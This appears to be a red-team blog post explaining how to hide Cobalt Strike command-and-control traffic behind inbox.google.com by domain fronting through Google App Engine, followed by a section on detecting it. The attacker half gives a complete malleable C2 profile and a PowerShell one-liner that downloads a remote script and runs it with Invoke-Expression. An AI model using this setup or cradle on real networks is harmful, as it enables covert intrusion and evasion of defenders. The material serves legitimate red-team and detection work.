Escape and Evasion Egressing Restricted Networks – Part 2

Attackers and security assessors alike are utilizing a technique called domain fronting, which masks malicious command and control (C2) traffic. This blog post revisits this type of evasive offensive security operations, which we first covered in a previous post. In this follow-up, we will discuss and demonstrate a nuance to domain fronting, which establishes command and control (C2) channels directly to inbox.google.com as well as other *.google.com applications, and the C2 channel is even encrypted with the legitimate Google SSL Certificate for that application. We'll further share some detection techniques that can be employed in an effort to identify this type of malicious traffic.

Attacker's Perspective

The use of domain fronting to establish hidden C2 channels is becoming commonplace in attacker methodologies. Optiv’s attack and penetration team also leverages this technique for client engagements, as it proves very effective. Domain fronting is a technique that uses content delivery networks from major cloud providers to obfuscate C2 traffic by hiding behind high-reputation domains. What makes this technique so dangerous is that many solutions designed to detect attacker C2 traffic use categorization rules to identify potentially malicious channels. This means that by leveraging domain names that have already been categorized, some security technologies will allow traffic through unhindered. Furthermore, attackers can mimic legitimate traffic that will make it almost indistinguishable to normal activity on the network. 

The Optiv team has leveraged Amazon CloudFront extensively to establish C2 channels inside high-security networks. However, this requires finding a legitimate domain that will appear as normal activity and will not hit content filters on the network. This adds to the uncertainty of a successful connection. We don’t like uncertainty.

This led us to a technique that would allow us to perform domain fronting with the proverbial Holy Grail of domains, Google.com. Many organizations rely on *.google.com domains; abusing this trust provides a much higher chance of bypassing content filters. 

Following are steps to create an encrypted C2 channel that calls out to inbox.google.com.

Step 1. Stand up a Server

In this example, we will deploy a Digital Ocean instance to act as my Cobalt Strike Teamserver. Once we have installed the prerequisites for Cobalt Strike, we will assign a domain name to the server and create a valid SSL certificate using LetsEncrypt. This will allow us to have the connection from our Google App Engine to our Teamserver encrypted because, who doesn’t love encryption?

Figure 1: SSL Certificate and Keystore Generation

Step 2. Deploy a Google App Engine Instance

Now we will create an account at https://cloud.google.com/ in order to leverage the Google App Engine infrastructure. This will allow us to use the Google Cloud SDK to deploy and manage our app engine instance. Instructions for installation can be found here: https://cloud.google.com/sdk/downloads.

With the Gcloud client installed, we will need to create a program that will act as a reverse proxy for our requests and then deploy that to Google App Engine. For simplicity’s sake, we have written a tool that will generate Go source code and deploy that code to the Google App Engine. 

Figure 2: Redirector Deployment

The generated Go program acts as a reverse proxy that will direct all incoming HTTP(S) requests to the Cobalt Strike Teamserver. Additionally, this program allows us to define subnets, user-agents and even custom headers, which can act as a form of authentication for requests. If the request to the app does not match those requirements, the request will be redirected to a site of the user’s choosing. This functionality allows us to slow down any investigators looking into our C2 channel. 

Step 3. Create Malleable C2 Profile

We will need to edit your malleable C2 profile’s host header to match the provisioned Google App Engine instance in order to make the domain fronting magic happen. Furthermore, we will need to add our HTTPs information for the C2 channel to utilize the HTTPS beacon.

set sleeptime "15000";
set jitter "20";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";

https-certificate {
set keystore "<Your keystore>";
set password "abc12453456";
}
http-get {
  set uri "/_/scs/bt-static/_/js/k";

  client {
    header "Host" "<your project>.appspot.com";
    parameter "sid" "12938120";

    metadata {
      base64;
      prepend "NID=";
      append ";";
      header "Cookie";
    }
  }

  server {
    header "Cache-Control" "public";
    header "Server" "sffe";
    header "X-Frame-Options" "SAMEORIGIN";
    header "Vary" "Accept-Encoding";
    header "X-XSS-Protection" "1; mode=block";

    output {
      base64;
      append "<![CDATA[*/var aFirstName,aLastName,aMemberName,aCid,aAuthenticatedState=window.top.msCommonShell.AuthState.NotSignedIn,userData={idp:window.top.msCommonShell.SupportedAuthIdp.MSA,firstName:aFirstName,lastName:aLastName,memberName:aMemberName,cid:aCid,authenticatedState:aAuthenticatedState};aMemberName!==\"\"&&window.parent.MSA.MeControl.API.setActiveUser(userData)/*]]>*/</script></div></div></div></div></div></body></html>";
      print;
    }
  }
}

http-post {
  set uri "/sync/st/s";

  client {
    header "Host" "<your project>.appspot.com";
    header "Origin" "https://inbox.google.com";

    id {
      base64url;
      prepend "NID=";
      header "Cookie";
    }

    output {
      base64;
      prepend "{\"2\":{\"1\":\"00000015";
      append "16286067364\",\"4\":44}}";
      print;
    }
  }

  server {
    header "Cache-Control" "no-cache, no-store";
    header "Pragma" "no-cache";
    header "Expires" "0";
    header "X-Content-Type-Options" "nosniff";
    header "X-XblCorrelationId" "2c9bf2cd-0aca-4bc9-8e9d-1db64975008d;";

    output {
      base64;
      prepend "{\"ipv\":false,\"pvm\":\"";
      append "\",\"rej\":0,\"bln\":0,\"acc\":1,\"efi\":[]}";
      print;
    }
  }
}

While testing this technique, we noticed that Google App Engine does processing on client requests. For example, Google App Engine strips the following headers when parsing requests:

• Accept-Encoding
• Connection
• Keep-Alive
• Proxy-Authorization
• TE
• Trailer
• Transfer-Encoding

Nuances such as this will need to be kept in mind while crafting malleable C2 profiles.

For more information about how Google App Engine handles requests, check out their documentation at https://cloud.google.com/appengine/docs/standard/go/how-requests-are-handled. 

Step 4. Deploy Cobalt Strike

With a valid C2 profile created and tested, we will start up our Cobalt Strike Teamserver. Next, we will set up a Cobalt Strike listener. The host on the listener will be the provisioned appspot domain, but the tasking servers is where the real magic happens. We can set the tasking servers for basically any *.google.com domain we want.

Figure 3: HTTPS Listener Configuration

Figure 4: Configuring tasking server

In our case we used inbox.google.com because our malleable C2 profile is based on legitimate asynchronous requests captured from inbox.google.com.

Step 5. Execute a Beacon on the Target System

For the sake of the example, we will use the PowerShell scripted web delivery module of Cobalt Strike to deliver our basic payload.

Figure 5: Scripted Web Delivery Setup

Figure 6: Executing Scripted Web Delivery

Once the above command is executed on the target system we see the following web requests and resulting beacon in our Cobalt Strike client. 

Figure 7: Web requests from victim relayed by Google App Engine

Figure 8: Beacon Connection

Often we don’t want to call directly out to our redirector, so there are a few options we can choose from for payload delivery. For instance, we could leverage Amazon CloudFront, detailed in our previous post, to create a one-off payload delivery domain front. Additionally, our team created a PowerShell one-liner that will allow for manual setting of the host header, but this will only work for PowerShell v3 and higher. It is shown below and broken apart for readability.

$u="https://inbox.google.com/favicon.ico";
$p=[System.Net.WebRequest]::GetSystemWebProxy();
$p.Credentials=[System.Net.CredentialCache]::DefaultCredentials;
$w=New-Object net.webclient;
$w.Headers.add('Host','oceanic-sky-191119.appspot.com')
$w.proxy=$p;
$w.UseDefaultCredentials=$true;
$s=$w.DownloadString($u);
Invoke-Expression -Command $s;

Step 6. Hello, This is Mountain View

Now, we have a beacon and administrative rights on the system, but here is where we really thought it got cool. Running a packet capture on the target system, we saw that all requests were being sent to inbox.google.com, as expected. What really blew us away was upon further inspection, the TLS connection being established was signed with the valid TLS Certificate for inbox.google.com. 

Figure 9: Verified Google Certificate

Figure 10: Certificate is valid for inbox.google.com

This makes C2 traffic especially hard to spot because Google certificates are almost universally trusted across organizations. As stated in this blog from CyberArk, Google enforces HSTS which leaves many vendors unable to decrypt these SSL connections. Finally, even if an organization is able to decrypt these connections, all requests mimic valid requests that occur periodically, making this especially difficult to detect. 

The next section brings in the blue team's perspective on domain fronting, specifically with Google.

Defender's Perspective – Domain Fronting Detection

At first glance, C2 domain fronting appears to be very difficult to detect. However, as this technique is just a part of the attacker's toolkit, we can fall back upon standard detection mechanisms on the host side. As with any attack chain, it is best to detect the attack as early as possible. Our detection mechanisms may include anti-malware tools, IDS/IPS or WAF devices that alert us to the initial stages of an attack. If we make the assumption that preventive controls have failed and that a beacon has been deployed, we still have a number of techniques available to identify the domain fronting technique. Defenders must take a proactive approach to their jobs in order to identify this technique, rather than passively waiting for security controls to detect the intrusion.

Victim Endpoint Visibility

Advanced endpoint detection and response (EDR) tools can provide the threat hunter or incident responder with extensive information about which processes are communicating with specific external sites, or that are called in an unusual manner. For example, the use of PowerShell within this post can be easily seen within certain EDR tools and potentially enable defenders to identify and block the C2 communication before it phones home or pulls more code down onto the system. Further, when logging is configured appropriately, PowerShell activity can be reviewed in the local system's Windows PowerShell event logs, and these logs also can be ingested by a SIEM. 

Regardless of the beacon’s deployment method (PowerShell, vbscript, etc.), memory forensics also may be an option for detecting the binaries or scripts that are used to maintain the C2 channel, provided that the beacon is loaded in memory when a memory image is acquired. Process monitoring and recording tools also may be able to identify the script invocation of the Cobalt Strike beacon, provided that they are correctly configured and that events captured by the tool are forwarded to a collector.  

Network Flow Analysis

C2 domain fronting also can be potentially detected through network flow analysis. Like many C2 protocols, the example within this post provides for a regular communication to the fronted domain through Google. As long as the granularity of your network flow visualization system is higher than the regular beaconing of the C2 client, it is likely that you can identify a regular and ongoing communication with the C2 servers. The number of packets sent for the C2 compared to the total bytes being transferred is fairly low when compared to regular Gmail traffic. When actively viewing email, creating new messages, and uploading and downloading attachments from Gmail, we can expect to see traffic that is either fairly equal in send in receive sizes or slanted more toward downloads to the end-user.  

With C2 beaconing, most of the traffic will be seen as outbound communications to inbox.google.com.  If exfiltration is occurring through the C2 channel, we also may witness large outbound transfers to Gmail. This is especially noteworthy if the flow size exceeds maximum attachment sizes. Depending upon the functionality of the endpoint device (i.e., is it a domain controller or an end-user system), communications with inbox.google.com may cause an alert as well.  

The following image provides an example of the number of C2 flows for a beacon configured to use a 60 second delay and 30 percent jitter. As is witnessed in that image, the beacon traffic appears to occur at regular intervals.

The following image for a 45 second delay and 30 percent jitter is also quite regular in its appearance:

When compared to web browsing to a single IP associated with inbox.google.com, we see very different behavior:

Another network traffic oddity of this specific method is that traffic only occurs to a single inbox.google.com IP address and no additional traffic to expected companion domains like accounts.google.com or any additional inbox.google.com IP addresses. While actively browsing the inbox.google.com site from within the Mozilla Firefox web browser over a 15 minute time frame, at least six separate DNS requests for inbox.google.com were made, returning different IP addresses. The web browser then proceeded to communicate with these separate IPs. In the case of this beacon, a single IP is selected once the code starts and then is not changed unless the beacon code restarts.

As described previously in the domain fronting paper here, it may be possible to profile the C2 malware based upon the use of specific client cipher suites. This would require baselining the cipher suites used by clients within your environment. This type of detection may be complicated by the method the attacker uses to initiate the SSL traffic. For example, if the attacker merely automates requests via Internet Explorer or Mozilla Firefox, the list of cipher suites will match standard web browsing on that network. More recent advances in traffic analysis may be useful in identifying this behavior as well.

In the end, defending against domain fronting boils down to knowing your network, having baseline “normal” datasets, and being able to spot anomalies within it. Having good insight into the typical flow of network traffic in your environment, and being able to identify anomalous activity is one of the primary methods to be able to spot C2 traffic. This post covered a specific scenario, but attackers are creative and will continue to find new and innovative ways to carry out domain fronting attacks. Defenders must develop an understanding of what is normal for both the endpoint and the network in order to prepare for these kinds of threats. Shifting security operations away from a traditional reactive “whack-a-mole” mindset and taking a proactive stance is essential for identifying the techniques exhibited in this blog post.

References:

• https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/